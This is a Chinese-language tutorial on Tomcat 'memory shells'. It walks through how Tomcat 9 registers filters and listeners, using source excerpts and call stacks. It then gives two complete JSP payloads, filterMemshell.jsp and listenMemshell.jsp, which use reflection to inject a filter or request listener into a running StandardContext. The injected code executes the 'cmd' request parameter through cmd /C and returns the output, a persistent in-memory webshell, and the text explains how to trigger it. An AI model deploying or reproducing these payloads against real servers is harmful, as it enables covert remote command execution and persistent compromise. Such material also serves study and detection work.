Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器的漏洞,将恶意代码注入Tomcat进程的内存中的攻击技术
以下代码基于Windows 10、Tomcat 9.0.73、JDK 1.8.0_66
在org/apache/catalina/core/StandardContext类的startInternal方法开始
fireLifecycleEvent(Lifecycle.CONFIGURE_START_EVENT, null);
经过如下函数调用栈:
configureStart:976, ContextConfig (org.apache.catalina.startup) lifecycleEvent:304, ContextConfig (org.apache.catalina.startup) fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util) startInternal:4851, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util)
来到org/apache/catalina/startup/ContextConfig类的configureStart方法,其中调用了webConfig方法
这个方法合并Tomcat全局web.xml、当前应用的web.xml、web-fragment.xml和web应用中的注解配置信息,然后调用configureContext方法将解析出的各种配置信息(如Servlet配置、Filter配置、Listener配置等)关联到Context对象中
configureContext方法:
private void configureContext(WebXml webxml) { // As far as possible, process in alphabetical order so it is easy to // check everything is present // Some validation depends on correct public ID // 设置公共ID context.setPublicId(webxml.getPublicId()); // 设置版本信息 // Everything else in order context.setEffectiveMajorVersion(webxml.getMajorVersion()); context.setEffectiveMinorVersion(webxml.getMinorVersion()); // 设置上下文参数 for (Entry<String, String> entry : webxml.getContextParams().entrySet()) { context.addParameter(entry.getKey(), entry.getValue()); } // 配置其他基本信息 context.setDenyUncoveredHttpMethods( webxml.getDenyUncoveredHttpMethods()); context.setDisplayName(webxml.getDisplayName()); context.setDistributable(webxml.isDistributable()); // 配置EJB引用 for (ContextLocalEjb ejbLocalRef : webxml.getEjbLocalRefs().values()) { context.getNamingResources().addLocalEjb(ejbLocalRef); } for (ContextEjb ejbRef : webxml.getEjbRefs().values()) { context.getNamingResources().addEjb(ejbRef); } // 配置环境条目 for (ContextEnvironment environment : webxml.getEnvEntries().values()) { context.getNamingResources().addEnvironment(environment); } // 配置错误页面 for (ErrorPage errorPage : webxml.getErrorPages().values()) { context.addErrorPage(errorPage); } // 配置过滤器(filter) for (FilterDef filter : webxml.getFilters().values()) { if (filter.getAsyncSupported() == null) { filter.setAsyncSupported("false"); } context.addFilterDef(filter); } // 配置过滤器映射(filter-mapping) for (FilterMap filterMap : webxml.getFilterMappings()) { context.addFilterMap(filterMap); } // 设置JSP配置描述符 context.setJspConfigDescriptor(webxml.getJspConfigDescriptor()); // 配置监听器 for (String listener : webxml.getListeners()) { context.addApplicationListener(listener); } // 配置区域编码映射 for (Entry<String, String> entry : webxml.getLocaleEncodingMappings().entrySet()) { context.addLocaleEncodingMappingParameter(entry.getKey(), entry.getValue()); } // Prevents IAE // 设置登录配置 if (webxml.getLoginConfig() != null) { context.setLoginConfig(webxml.getLoginConfig()); } // 配置消息目标引用 for (MessageDestinationRef mdr : webxml.getMessageDestinationRefs().values()) { context.getNamingResources().addMessageDestinationRef(mdr); } // messageDestinations were ignored in Tomcat 6, so ignore here context.setIgnoreAnnotations(webxml.isMetadataComplete()); // 配置MIME映射 for (Entry<String, String> entry : webxml.getMimeMappings().entrySet()) { context.addMimeMapping(entry.getKey(), entry.getValue()); } // 配置请求字符编码和响应字符编码 context.setRequestCharacterEncoding(webxml.getRequestCharacterEncoding()); // Name is just used for ordering // 配置资源环境引用 for (ContextResourceEnvRef resource : webxml.getResourceEnvRefs().values()) { context.getNamingResources().addResourceEnvRef(resource); } for (ContextResource resource : webxml.getResourceRefs().values()) { context.getNamingResources().addResource(resource); } // 配置资源引用 context.setResponseCharacterEncoding(webxml.getResponseCharacterEncoding()); boolean allAuthenticatedUsersIsAppRole = webxml.getSecurityRoles().contains( SecurityConstraint.ROLE_ALL_AUTHENTICATED_USERS); // 配置安全约束 for (SecurityConstraint constraint : webxml.getSecurityConstraints()) { if (allAuthenticatedUsersIsAppRole) { constraint.treatAllAuthenticatedUsersAsApplicationRole(); } context.addConstraint(constraint); } // 配置安全角色 for (String role : webxml.getSecurityRoles()) { context.addSecurityRole(role); } // 配置服务引用 for (ContextService service : webxml.getServiceRefs().values()) { context.getNamingResources().addService(service); } // 配置Servlet for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); // Description is ignored // Display name is ignored // Icons are ignored // jsp-file gets passed to the JSP Servlet as an init-param if (servlet.getLoadOnStartup() != null) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null) { long maxFileSize = -1; long maxRequestSize = -1; int fileSizeThreshold = 0; if(null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if(null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if(null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } // 配置Servlet映射 for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } // 设置会话配置 SessionConfig sessionConfig = webxml.getSessionConfig(); if (sessionConfig != null) { if (sessionConfig.getSessionTimeout() != null) { context.setSessionTimeout( sessionConfig.getSessionTimeout().intValue()); } SessionCookieConfig scc = context.getServletContext().getSessionCookieConfig(); scc.setName(sessionConfig.getCookieName()); scc.setDomain(sessionConfig.getCookieDomain()); scc.setPath(sessionConfig.getCookiePath()); scc.setComment(sessionConfig.getCookieComment()); if (sessionConfig.getCookieHttpOnly() != null) { scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue()); } if (sessionConfig.getCookieSecure() != null) { scc.setSecure(sessionConfig.getCookieSecure().booleanValue()); } if (sessionConfig.getCookieMaxAge() != null) { scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue()); } if (sessionConfig.getSessionTrackingModes().size() > 0) { context.getServletContext().setSessionTrackingModes( sessionConfig.getSessionTrackingModes()); } } // Context doesn't use version directly // 配置欢迎文件 for (String welcomeFile : webxml.getWelcomeFiles()) { /* * The following will result in a welcome file of "" so don't add * that to the context * <welcome-file-list> * <welcome-file/> * </welcome-file-list> */ if (welcomeFile != null && welcomeFile.length() > 0) { context.addWelcomeFile(welcomeFile); } } // Do this last as it depends on servlets // 配置JSP属性组 for (JspPropertyGroup jspPropertyGroup : webxml.getJspPropertyGroups()) { String jspServletName = context.findServletMapping("*.jsp"); if (jspServletName == null) { jspServletName = "jsp"; } if (context.findChild(jspServletName) != null) { for (String urlPattern : jspPropertyGroup.getUrlPatterns()) { context.addServletMappingDecoded(urlPattern, jspServletName, true); } } else { if(log.isDebugEnabled()) { for (String urlPattern : jspPropertyGroup.getUrlPatterns()) { log.debug("Skipping " + urlPattern + " , no servlet " + jspServletName); } } } } // 配置PostConstruct方法 for (Entry<String, String> entry : webxml.getPostConstructMethods().entrySet()) { context.addPostConstructMethod(entry.getKey(), entry.getValue()); } // 配置PreDestroy方法 for (Entry<String, String> entry : webxml.getPreDestroyMethods().entrySet()) { context.addPreDestroyMethod(entry.getKey(), entry.getValue()); } }
函数调用栈:
configureContext:1447, ContextConfig (org.apache.catalina.startup) webConfig:1330, ContextConfig (org.apache.catalina.startup) configureStart:987, ContextConfig (org.apache.catalina.startup) lifecycleEvent:304, ContextConfig (org.apache.catalina.startup) fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util) startInternal:4851, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) addChildInternal:683, ContainerBase (org.apache.catalina.core) addChild:658, ContainerBase (org.apache.catalina.core) addChild:662, StandardHost (org.apache.catalina.core) manageApp:1782, HostConfig (org.apache.catalina.startup) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver) createStandardContext:460, MBeanFactory (org.apache.catalina.mbeans) createStandardContext:408, MBeanFactory (org.apache.catalina.mbeans) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver) invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security) doOperation:1471, RMIConnectionImpl (javax.management.remote.rmi) access$300:76, RMIConnectionImpl (javax.management.remote.rmi) run:1312, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi) doPrivileged:-1, AccessController (java.security) doPrivilegedOperation:1411, RMIConnectionImpl (javax.management.remote.rmi) invoke:832, RMIConnectionImpl (javax.management.remote.rmi) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) dispatch:323, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1966382949 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$25) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
回到startInternal方法,执行下面代码
// Call ServletContainerInitializers for (Map.Entry<ServletContainerInitializer, Set<Class<?>>> entry : initializers.entrySet()) { try { entry.getKey().onStartup(entry.getValue(), getServletContext()); } catch (ServletException e) { log.error(sm.getString("standardContext.sciFail"), e); ok = false; break; } }
这段代码的作用是遍历已注册的ServletContainerInitializer,并依次调用它们的onStartup方法。通过这种方式,可以在Servlet容器启动时执行一些初始化任务,例如注册Servlet、Filter、Listener等。
最终来到org/apache/catalina/core/ApplicationContext的addFilter方法
private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException { // 参数验证 if (filterName == null || filterName.equals("")) { throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName)); } // 状态检查 // TODO Spec breaking enhancement to ignore this restriction checkState("applicationContext.addFilter.ise"); // 查找FilterDef FilterDef filterDef = context.findFilterDef(filterName); // Assume a 'complete' FilterRegistration is one that has a class and // a name // 如果查找未成功,创建一个新的FilterDef if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { // 如果FilterDef对象已经具有filterName和filterClass if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) { return null; } } // 设置filterDef属性 if (filter == null) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } // 创建了ApplicationFilterRegistration对象 return new ApplicationFilterRegistration(filterDef, context); }
该段代码的作用是向应用程序上下文中添加过滤器,并返回一个FilterRegistration.Dynamic对象,用于进一步配置和管理该过滤器。
函数调用栈:
addFilter:774, ApplicationContext (org.apache.catalina.core) addFilter:761, ApplicationContext (org.apache.catalina.core) addFilter:434, ApplicationContextFacade (org.apache.catalina.core) <init>:109, WsServerContainer (org.apache.tomcat.websocket.server) init:137, WsSci (org.apache.tomcat.websocket.server) onStartup:49, WsSci (org.apache.tomcat.websocket.server) startInternal:4929, StandardContext (org.apache.catalina.core)
filterMaps的添加过程,在org/apache/catalina/core/ApplicationFilterRegistration的addMappingForUrlPatterns方法中
@Override public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) { FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterDef.getFilterName()); if (dispatcherTypes != null) { for (DispatcherType dispatcherType : dispatcherTypes) { filterMap.setDispatcher(dispatcherType.name()); } } if (urlPatterns != null) { // % decoded (if necessary) using UTF-8 for (String urlPattern : urlPatterns) { filterMap.addURLPattern(urlPattern); } if (isMatchAfter) { context.addFilterMap(filterMap); } else { context.addFilterMapBefore(filterMap); } } // else error? }
函数调用栈:
addMappingForUrlPatterns:83, ApplicationFilterRegistration (org.apache.catalina.core) <init>:116, WsServerContainer (org.apache.tomcat.websocket.server) init:137, WsSci (org.apache.tomcat.websocket.server) onStartup:49, WsSci (org.apache.tomcat.websocket.server) startInternal:4929, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util)
经过上面的解析,此时filterDefs、filterMaps中已经有数据了,并且filterMaps是根据filterDefs来的
接着来到startInternal方法,调用filterStart
// Configure and call application filters if (ok) { if (!filterStart()) { // ... }
此时filterConfigs中还没有数据,经过filterStart方法后,就有了数据
函数调用栈:
filterStart:4331, StandardContext (org.apache.catalina.core) startInternal:4965, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) addChildInternal:683, ContainerBase (org.apache.catalina.core)
创建一个简单的Java Web项目,添加一个Filter,然后在web.xml中配置Filter,启动项目,访问一个Servlet,查看控制台输出的日志,可以看到Filter的init方法和doFilter方法被调用了。另外在停止Tomcat时,也会调用Filter的destroy方法。
Filter示例如下:
package org.example.filter; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; @WebFilter(value = "/hello", filterName = "hello") public class HelloFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter init"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("do filter"); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { System.out.println("filter destory"); } }
web.xml配置如下:
<filter> <filter-name>hello</filter-name> <filter-class>org.example.filter.HelloFilter</filter-class> </filter> <filter-mapping> <filter-name>hello</filter-name> <url-pattern>/hello</url-pattern> </filter-mapping>
Filter的init方法和doFilter方法是谁调用的呢?Filter是怎么被调用的呢?
根据上一节描述的Tomcat配置文件解析过程,在应用程序中动态添加一个filter的过程如下:
另外,在实现内存马的时候,可以模仿以上函数的代码构建filterDefs、filterMaps、filterConfigs这三个变量
根据Tomcat版本添加Maven依赖
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.73</version> </dependency>
在自定义Filter的doFilter方法中下断点,然后启动Tomcat,访问Servlet,可以看到断点被触发了,查看调用栈,可以看到调用链如下:
doFilter:16, HelloFilter (org.example.filter) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:167, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:673, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
首先在org/apache/catalina/core/StandardWrapperValve类的invoke方法中,分两步:
第一步如下代码构建了一条filterChain
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
构建好链后,第二步调用filterChain的doFilter方法,如下代码:
filterChain.doFilter(request.getRequest(), response.getResponse());
先分析ApplicationFilterFactory.createFilterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { // If there is no servlet to execute, return null if (servlet == null) { return null; } // Create and initialize a filter chain object ApplicationFilterChain filterChain = null; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { // Security: Do not recycle filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { // Request dispatcher in use filterChain = new ApplicationFilterChain(); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); // Acquire the filter mappings for this Context StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); // If there are no filter mappings, we are done if ((filterMaps == null) || (filterMaps.length == 0)) { return filterChain; } // Acquire the information we will need to match filter mappings DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null) { requestPath = attribute.toString(); } String servletName = wrapper.getName(); // Add the relevant path-mapped filters to this filter chain for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue; } if (!matchFiltersURL(filterMap, requestPath)) { continue; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context .findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Add filters that match on servlet name second for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue; } if (!matchFiltersServlet(filterMap, servletName)) { continue; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context .findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Return the completed filter chain return filterChain; }
第一:尝试从request中获取filterChain,如果获取不到,就创建一个新的filterChain
第二:设置servlet,获取filterMaps
第三:将相关的路径映射过滤器添加到此过滤器链中
filterMap.getFilterName得到的是name,而context.findFilterConfig是根据name找filterConfigs中对应的值
进入addFilter
void addFilter(ApplicationFilterConfig filterConfig) { // Prevent the same filter being added multiple times for (ApplicationFilterConfig filter : filters) { if (filter == filterConfig) { return; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT]; System.arraycopy(filters, 0, newFilters, 0, n); filters = newFilters; } filters[n++] = filterConfig; }
完成一轮for循环后,继续下一轮,直到所有符合条件的filterMap都添加到filterChain中
第四:添加与服务程序名称相匹配的筛选器,即第二个for循环
第五:返回完成的filterChain
接下来返回StandardWrapperValve.invoke方法,调用filterChain的doFilter方法
进入internalDoFilter方法
获取filterChain中的第一个filter
然后调用filter的doFilter方法
filter.doFilter(request, response, this);
进入该filter的doFilter方法就来到了我们写的函数
总结
关键
这里面存在关键的三个变量:filterMaps、filterConfigs、filterDefs, 它们都从StandardContext中获取
filterMaps
在StandardContext中添加filterMap的方法
@Override public void addFilterMap(FilterMap filterMap) { validateFilterMap(filterMap); // Add this filter mapping to our registered set filterMaps.add(filterMap); fireContainerEvent("addFilterMap", filterMap); }
@Override public void addFilterMapBefore(FilterMap filterMap) { validateFilterMap(filterMap); // Add this filter mapping to our registered set filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap", filterMap); }
filterConfigs
在StandardContext中添加filterConfig的方法
public boolean filterStart() { if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters"); } // Instantiate and record a FilterConfig for each defined filter boolean ok = true; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String, FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); // 这里可以往filterConfigs中添加filterConfig filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString("standardContext.filterStart", name), t); ok = false; } } } return ok; }
这个方法在Tomcat启动时会运行,遍历filterDefs,然后根据filterDefs中的值创建filterConfig,然后将filterConfig添加到filterConfigs中
filterDefs
在StandardContext中添加filterDef的方法
@Override public void addFilterDef(FilterDef filterDef) { synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef", filterDef); }
而filterDefs是从配置文件中解析得来的
filterMemshell.jsp:
<%-- Created by IntelliJ IDEA. User: Dili Date: 2023/9/18 Time: 16:30 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <% try { // 获取应用程序上下文对象(ApplicationContextFacade) ServletContext servletContext = request.getSession().getServletContext(); // 获取ApplicationContextFacade的context属性,即ApplicationContext Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); // 获取ApplicationContext的context属性,即StandardContext Field standContextField = applicationContext.getClass().getDeclaredField("context"); standContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standContextField.get(applicationContext); // 获取StandardContext的filterConfigs属性,即filterConfigs Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext); // 创建my filter 需要先判断是否已经存在同名的filter String myFiltername = "filtershell"; if(filterConfigs.get(myFiltername) == null) { Filter myFilter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { // shell HttpServletRequest req = (HttpServletRequest) servletRequest; if(req.getParameter("cmd") != null) { byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd", "/C", req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes, 0, len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { Filter.super.destroy(); } }; // 创建filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(myFilter); filterDef.setFilterName(myFiltername); filterDef.setFilterClass(myFilter.getClass().getName()); // 将filterDef添加至filterDefs standardContext.addFilterDef(filterDef); // 创建filterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(myFiltername); filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 将filterMap添加至filterMaps(第一位) standardContext.addFilterMapBefore(filterMap); // 创建ApplicationFilterConfig对象 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(myFiltername, filterConfig); } System.out.println("Success!"); } catch (Exception e) { e.printStackTrace(); } %>
访问http://localhost:8090/Tomcat_memshell_Web_exploded/filterMemshell.jsp
执行完第一行得到ApplicationContextFacade对象
执行到最后
成功将自定义的filter添加到filterConfigs、filterMaps、filterDefs中
此时内存马成功写入,接下来就是访问相应的url生成filterChain,调用自定义的filter,触发命令执行
常用监听器:
这些类接口都是java.util.EventListener的子接口,以ServletRequestListener为例,它的接口定义如下:
public interface ServletRequestListener extends EventListener { /** * Receives notification that a ServletRequest is about to go out * of scope of the web application. * * @param sre the ServletRequestEvent containing the ServletRequest * and the ServletContext representing the web application */ public void requestDestroyed(ServletRequestEvent sre); /** * Receives notification that a ServletRequest is about to come * into scope of the web application. * * @param sre the ServletRequestEvent containing the ServletRequest * and the ServletContext representing the web application */ public void requestInitialized(ServletRequestEvent sre); }
这个监听器用于监听ServletRequest的创建和销毁,当ServletRequest创建时,会调用requestInitialized方法,当ServletRequest销毁时,会调用requestDestroyed方法。
创建HelloListener类,实现ServletContextListener接口,重写contextInitialized方法和contextDestroyed方法
package org.example.listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; public class HelloListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("invoke ServletRequestListener requestDestroyed!"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("invoke ServletRequestListener requestInitialized!"); } }
修改web.xml,添加listener配置
<listener> <listener-class>org.example.listener.HelloListener</listener-class> </listener>
在自定义的requestInitialized处下断点
函数调用栈如下:
requestInitialized:14, HelloListener (org.example.listener) fireRequestInitEvent:5663, StandardContext (org.apache.catalina.core) invoke:116, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:673, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
在StandardHostValve的invoke方法中
进入StandardContext的fireRequestInitEvent方法
在这个方法中调用listener的requestInitialized方法
需要考虑两个问题,第一:instances怎么来的?第二:requestInitialized方法中的参数event怎么来的?
第一个问题:在fireRequestInitEvent方法中,第一行就是获取instances,如下
Object instances[] = getApplicationEventListeners();
查看此函数
@Override public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
所以listener存放在applicationEventListenersList属性中,所以在StandardContext中找到能够向applicationEventListenersList添加listener的方法
方法1:
/** * Add a listener to the end of the list of initialized application event listeners. * * @param listener The listener to add */ public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
方法2:
/** * {@inheritDoc} Note that this implementation is not thread safe. If two threads call this method concurrently, the * result may be either set of listeners or a the union of both. */ @Override public void setApplicationEventListeners(Object listeners[]) { applicationEventListenersList.clear(); if (listeners != null && listeners.length > 0) { applicationEventListenersList.addAll(Arrays.asList(listeners)); } }
第二个问题:event如何构造?在fireRequestInitEvent方法中由如下代码构造
ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);
listenMemshell.jsp:
<%-- Created by IntelliJ IDEA. User: Dili Date: 2023/9/19 Time: 14:41 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%! public class MyListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null) { InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String out = scanner.hasNext()?scanner.next():""; Field requestFiled = req.getClass().getDeclaredField("request"); requestFiled.setAccessible(true); Request request = (Request) requestFiled.get(req); request.getResponse().getWriter().write(out); } catch (Exception e) {} } } @Override public void requestInitialized(ServletRequestEvent sre) { } } %> <% Field reqField = request.getClass().getDeclaredField("request"); reqField.setAccessible(true); Request req = (Request) reqField.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listener = new MyListener(); context.addApplicationEventListener(listener); %>
先访问listenMemshell.jsp生成内存马,然后访问任意路径,加上cmd参数即可命令执行
创建HelloServlet类
